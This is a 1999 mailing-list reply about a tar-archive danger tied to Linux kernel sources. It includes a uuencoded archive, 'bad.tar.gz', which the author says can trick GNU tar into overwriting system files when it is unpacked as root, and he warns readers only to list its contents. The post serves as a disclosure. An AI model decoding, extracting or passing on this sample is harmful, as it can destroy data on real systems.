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Re: Linux kernel source problem
From: dfs () DOE CARLETON CA (David F. Skoll)
Date: Tue, 26 Oct 1999 15:57:39 -0400
If you want to damage your own system, untar the appended sample tar file as root (fortunately, GNU tar strips the leading "/" by default).
However, a little creative binary editing can spoof even GNU tar and destroy your system, to wit: begin 644 bad.tar.gz M'XL(")\%%C@"`V)A9"YT87(`[=%-#L(@$$!AUCW%W(`IA9+T-M7:V(T8J7I] M?V/B0EVUT?B^!9,`"\+K4S)3*YW&&,6(2*S#T[S3\XYJ\.I\<"*E"[4:<78U M+NVVS?G83?:X?1[;G8CIVL/0Y=?W/IW_J'Z._JJU]V_Z5]6C?_"7_AK*:$3G M^(`_[[]+:6P:;:[3WM;%L+%Y71@`````````````````WZTX`;CJ>H@!*``` ` end Please DO NOT unpack the above tar file as root! Just look at the contents with the "t" option. -- David.
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